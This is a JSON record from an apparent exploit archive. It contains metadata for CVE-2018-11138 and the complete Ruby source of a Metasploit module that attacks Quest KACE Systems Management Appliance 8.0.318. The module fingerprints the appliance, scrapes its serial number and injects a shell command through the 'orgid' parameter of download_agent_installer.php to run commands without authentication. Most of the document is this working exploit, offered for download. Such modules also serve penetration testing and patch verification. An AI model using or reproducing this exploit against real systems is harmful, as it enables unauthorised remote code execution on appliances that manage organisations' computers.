{"exploit":{"id":"EDB-44950","name":"Quest KACE Systems Management Appliance 8.0.318 - Command Injection (Metasploit)","description":"Quest KACE Systems Management Appliance 8.0.318 - Command Injection (Metasploit)","cves":["CVE-2018-11138"],"author":"Metasploit","published":"2018-06-27","platform":"unix","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44950","path":"exploits/unix/remote/44950.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44950.rb","vulnerabilities":[{"id":"CVE-2018-11138","state":"PUBLISHED","title":null,"titleSource":null,"description":"The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by anonymous users and can be abused to execute arbitrary commands on the system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11138","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11138"},"updatedAt":"2026-08-13T03:55:32.240Z","retrievedAt":"2026-11-26T14:17:24.861Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44950.png?v=2","url":"https://exploitbin.com/exploits/EDB-44950","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44950/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44950/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Quest KACE Systems Management Command Injection',\n      'Description'    => %q{\n        This module exploits a command injection vulnerability in Quest KACE\n        Systems Management Appliance version 8.0.318 (and possibly prior).\n\n        The `download_agent_installer.php` file allows unauthenticated users\n        to execute arbitrary commands as the web server user `www`.\n\n        A valid Organization ID is required. The default value is `1`.\n\n        A valid Windows agent version number must also be provided. If file\n        sharing is enabled, the agent versions are available within the\n        `\\\\kace.local\\client\\agent_provisioning\\windows_platform` Samba share.\n        Additionally, various agent versions are listed on the KACE website.\n\n        This module has been tested successfully on Quest KACE Systems\n        Management Appliance K1000 version 8.0 (Build 8.0.318).\n      },\n      'License'        => MSF_LICENSE,\n      'Privileged'     => false,\n      'Platform'       => 'unix', # FreeBSD\n      'Arch'           => ARCH_CMD,\n      'DisclosureDate' => 'May 31 2018',\n      'Author'         =>\n        [\n          'Leandro Barragan', # Discovery and PoC\n          'Guido Leo',        # Discovery and PoC\n          'Brendan Coles',    # Metasploit\n        ],\n      'References'     =>\n        [\n          ['CVE', '2018-11138'],\n          ['URL', 'https://support.quest.com/product-notification/noti-00000134'],\n          ['URL', 'https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities']\n        ],\n      'Payload'        =>\n        {\n          'Space'       => 1024,\n          'BadChars'    => \"\\x00\\x27\",\n          'DisableNops' => true,\n          'Compat'      =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'generic perl'\n            }\n        },\n      'Targets'        => [['Automatic', {}]],\n      'DefaultTarget'  => 0))\n    register_options [\n      OptString.new('SERIAL',        [false, 'Serial number', '']),\n      OptString.new('ORGANIZATION',  [true, 'Organization ID', '1']),\n      OptString.new('AGENT_VERSION', [true, 'Windows agent version', '8.0.152'])\n    ]\n  end\n\n  def check\n    res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))\n    unless res\n      vprint_error 'Connection failed'\n      return CheckCode::Unknown\n    end\n\n    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')\n      vprint_status 'Remote host is not a Quest KACE appliance'\n      return CheckCode::Safe\n    end\n\n    unless res.headers['X-KACE-Version'] =~ /\\A([0-9]+)\\.([0-9]+)\\.([0-9]+)\\z/\n      vprint_error 'Could not determine KACE appliance version'\n      return CheckCode::Detected\n    end\n\n    version = Gem::Version.new res.headers['X-KACE-Version'].to_s\n    vprint_status \"Found KACE appliance version #{version}\"\n\n    # Patched versions : https://support.quest.com/product-notification/noti-00000134\n    if version < Gem::Version.new('7.0') ||\n       (version >= Gem::Version.new('7.0') && version < Gem::Version.new('7.0.121307')) ||\n       (version >= Gem::Version.new('7.1') && version < Gem::Version.new('7.1.150')) ||\n       (version >= Gem::Version.new('7.2') && version < Gem::Version.new('7.2.103')) ||\n       (version >= Gem::Version.new('8.0') && version < Gem::Version.new('8.0.320')) ||\n       (version >= Gem::Version.new('8.1') && version < Gem::Version.new('8.1.108'))\n      return CheckCode::Appears\n    end\n\n    CheckCode::Safe\n  end\n\n  def serial_number\n    return datastore['SERIAL'] unless datastore['SERIAL'].to_s.eql? ''\n\n    res = send_request_cgi('uri' => normalize_uri('common', 'about.php'))\n    return unless res\n\n    res.body.scan(/Serial Number: ([A-F0-9]+)/).flatten.first\n  end\n\n  def exploit\n    check_code = check\n    unless [CheckCode::Appears, CheckCode::Detected].include? check_code\n      fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n    end\n\n    serial = serial_number\n    if serial.to_s.eql? ''\n      print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'\n      return\n    end\n    vprint_status \"Using serial number: #{serial}\"\n\n    print_status \"Sending payload (#{payload.encoded.length} bytes)\"\n\n    vars_get = Hash[{\n      'platform' => 'windows',\n      'serv'     => Digest::SHA256.hexdigest(serial),\n      'orgid'    => \"#{datastore['ORGANIZATION']}#; #{payload.encoded} \",\n      'version'  => datastore['AGENT_VERSION']\n    }.to_a.shuffle]\n\n    res = send_request_cgi({\n      'uri'      => normalize_uri('common', 'download_agent_installer.php'),\n      'vars_get' => vars_get\n    }, 10)\n\n    unless res\n      fail_with Failure::Unreachable, 'Connection failed'\n    end\n\n    unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')\n      fail_with Failure::UnexpectedReply, 'Unexpected reply'\n    end\n\n    case res.code\n    when 200\n      print_good 'Payload executed successfully'\n    when 404\n      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'\n    when 302\n      if res.headers['location'].include? 'error.php'\n        fail_with Failure::UnexpectedReply, 'Server encountered an error'\n      end\n      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'\n    else\n      print_error 'Unexpected reply'\n    end\n\n    register_dir_for_cleanup \"/tmp/agentprov/#{datastore['ORGANIZATION']}#;/\"\n  end\nend","sha256":"dc8b096866ab162959a688e665cc9fb439436b06eb262f0fc7abd777de13310e","bytes":5825,"fetchedAt":"2026-11-26T23:07:38.286Z","encoding":"utf-8 (display only; download retains original bytes)"}